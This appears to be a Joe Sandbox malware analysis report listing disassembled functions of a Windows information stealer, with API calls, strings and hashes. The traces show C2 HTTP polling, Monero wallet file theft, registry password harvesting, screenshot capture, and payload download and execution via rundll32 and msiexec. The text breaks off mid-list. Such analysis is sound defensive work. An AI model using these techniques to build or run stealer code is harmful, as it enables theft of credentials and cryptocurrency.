API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 10eb0c450f8aa63e58ce6e2e13bbd26e49cdc9fd0544e95f6096289088943245
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: 10eb0c450f8aa63e58ce6e2e13bbd26e49cdc9fd0544e95f6096289088943245
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,00921F00), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,00921278,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 004064C9
GET, xrefs: 0040637C
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 9cadc08a354d14b7848cf68eb437f5181e68b0b51024ed3f7f3abcd6e6512d2e
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 9cadc08a354d14b7848cf68eb437f5181e68b0b51024ed3f7f3abcd6e6512d2e
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 0041577D
ERROR, xrefs: 004159FE
ERROR, xrefs: 00415636
ERROR, xrefs: 00415849
ERROR, xrefs: 00415693
ERROR, xrefs: 00415932

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 57d063fc9ed83c1e53da0e14c22364a0aa576905cfee3b85b0d3c6812f09564c
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 57d063fc9ed83c1e53da0e14c22364a0aa576905cfee3b85b0d3c6812f09564c
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00419010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 582fe4037c5ef02c3ea6a8f5802b1eafd03128aca7fc13e4214abfad15a3c3d5
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: 582fe4037c5ef02c3ea6a8f5802b1eafd03128aca7fc13e4214abfad15a3c3d5
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

/i ", xrefs: 004133E4
.dll, xrefs: 004131E5
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
"" , xrefs: 0041309A
<, xrefs: 00413490
.msi, xrefs: 00413398
C:\Windows\system32\rundll32.exe, xrefs: 00413332
/passive, xrefs: 0041345B

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: bf3c050b30e2a905063479c6e1be81e2eed801fa5ff9fa66dc9790b33e7fc962
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: bf3c050b30e2a905063479c6e1be81e2eed801fa5ff9fa66dc9790b33e7fc962
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,0091CAD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
wallet_path, xrefs: 00401330
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: ff43d40731ae3ea2837d34f59ea12ce661c71c7b23efa6b3f79943cfedaed419
Instruction ID: 456b5fac361f61c5265e43a16bd15ab14158e39c7f71a6669150f14a30e0c61c
Opcode Fuzzy Hash: ff43d40731ae3ea2837d34f59ea12ce661c71c7b23efa6b3f79943cfedaed419
Instruction Fuzzy Hash: 565164B1D5011897CB15FB61DD91BED733CAF54304F4041ADB60A62092EE385BD9CBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,00921F00), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3
a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: dce048a8f7a0db2e33fe8e664d50d50586bb9f1d1f0fefd9213557a5939cb8cb
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: dce048a8f7a0db2e33fe8e664d50d50586bb9f1d1f0fefd9213557a5939cb8cb
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 00417111
sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: 83bc95c561d3c7d7ec3f072c7b35a55b7f907de0dec64aa1652b34b8f8455e89
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: 83bc95c561d3c7d7ec3f072c7b35a55b7f907de0dec64aa1652b34b8f8455e89
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(2D08A020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(2D08A020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(2D08A020, : ), ref: 0040765A
lstrcatA.KERNEL32(2D08A020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(2D08A020,00421804), ref: 004076A0
lstrcatA.KERNEL32(2D08A020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(2D08A020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
